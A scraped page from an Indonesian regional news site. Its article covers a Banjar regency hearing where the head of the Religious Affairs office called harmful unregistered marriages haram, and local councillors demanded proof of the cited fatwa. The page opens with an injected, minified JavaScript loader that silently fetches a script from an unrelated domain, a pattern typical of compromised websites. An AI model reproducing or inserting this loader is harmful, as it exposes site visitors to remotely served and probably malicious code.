(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
RELIGI

Kepala Kemenag Banjar : Nikah Tak Tercatat yang Membawa Mudharat, Haram !


MARTAPURA, Kementrian Agama (Kemenag) Kabupaten Banjar sebut pernikahan yang tidak tercatat di Kemenag itu haram, begitu disebutkan Kepala Kemenag Kabupaten Banjar Drs H Izzuddin MAg dalam rapat dengar pendapat dengan Komisi IV DPRD Kabupaten Banjar membahas pernikahan usia dini yang terjadi di Kabupaten Banjar, Senin (3/9).

Menurut Izzuddin pernyataan yang dikatakannya tersebut sudah sesuai berdasarkan pernyataan MUI pusat dan itu sudah lama adanya, ditegaskan dan dinyatakan haram apabila membawa mudharat.

“Perkawinan siri dan tidak tercatat di Kemenag menurut MUI dikatakan haram apabila membawa mudharat. Fatwa itu sudah ada tahun 2016, saya siap untuk memperlihatkan bukti fatwa itu, dan selama setengah bulan saya diberikan waktu oleh Komisi IV untuk membuktikan itu,” ujar Izzuddin.

Mendengar tanggapan pernyataan seperti itu, membuat beberapa anggota Komisi IV sempat emosional dalam rapat dengar pendapat tersebut. Sayid Hasan Alwi contohnya anggota Komisi IV, mempertanyakan kebenaran dari pernyataan Kepala Kemenag Kabupaten Banjar tersebut dalam rapat yang sedang berlangsung.

“Tadi saya agak sedikit kaget karena mendengar peryataan dari MUI pusat seperti itu. Jangan asal ngomong, apa buktinya mana fatwanya kalau nikah tidak tercatat di Kemenag itu haram,” ujarnya dengan nada yang tinggi.

Menurut Hasan kenapa bisa dikatakan seperti itu, orang nikah tanpa catatan di Kabupaten Banjar sangat banyak sekali, berarti orang menikah di luar catatan Kemenag menurut MUI pusat yang dikatakan oleh Kepala Kemenag Kabupaten Banjar itu berarti haram. Sebagai wakil rakyat oleh karena itu menyangkut orang dan warga Kabupaten Banjar yang sudah tidak menjadi rahasia umum, itulah alasannya untuk meminta bukti peryataan tersebut.

“Tadi saya sempat sedikit emosi dengan pernyataan seperti itu, sehingga saya tidak terlalu banyak membahasnya, namun saya mau minta datanya dulu, baru kita bicara yang sebenarnya, benarkah ada pernyataan seperti itu,” tegasnya.

Masih di tempat yang sama usai rapat dengar pendapat menanggapi hal tersebut Ketua Komisi IV DPRD Kabupaten Banjar H Gusti Abdul Rahman SE mengatakan, akan meminta bukti atas ucapan pernyataan Kepada Kemenag Kabupaten Banjar yang menyatakan nikah tidak tercatat di Kemenag itu haram.

“Makanya kami meminta apakah ini fatwa benar adanya, nomor berapa dan tahun berapa, kami yakin hingga sekarang itu banyak sekali poligami dan mungkin banyak yang tidak tercatat, artinya kalau haram itu berarti sama dengan berzinah, kami tidak berani mengatakan itu haram, namun apakah ada fatwanya yang menyatakan begitu,” ujarnya. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Korban Tenggelam di Sungai Martapura Ditemukan Senin Dinihari

KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More

22 menit ago

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

14 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

14 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

15 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

20 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

21 jam ago

This website uses cookies.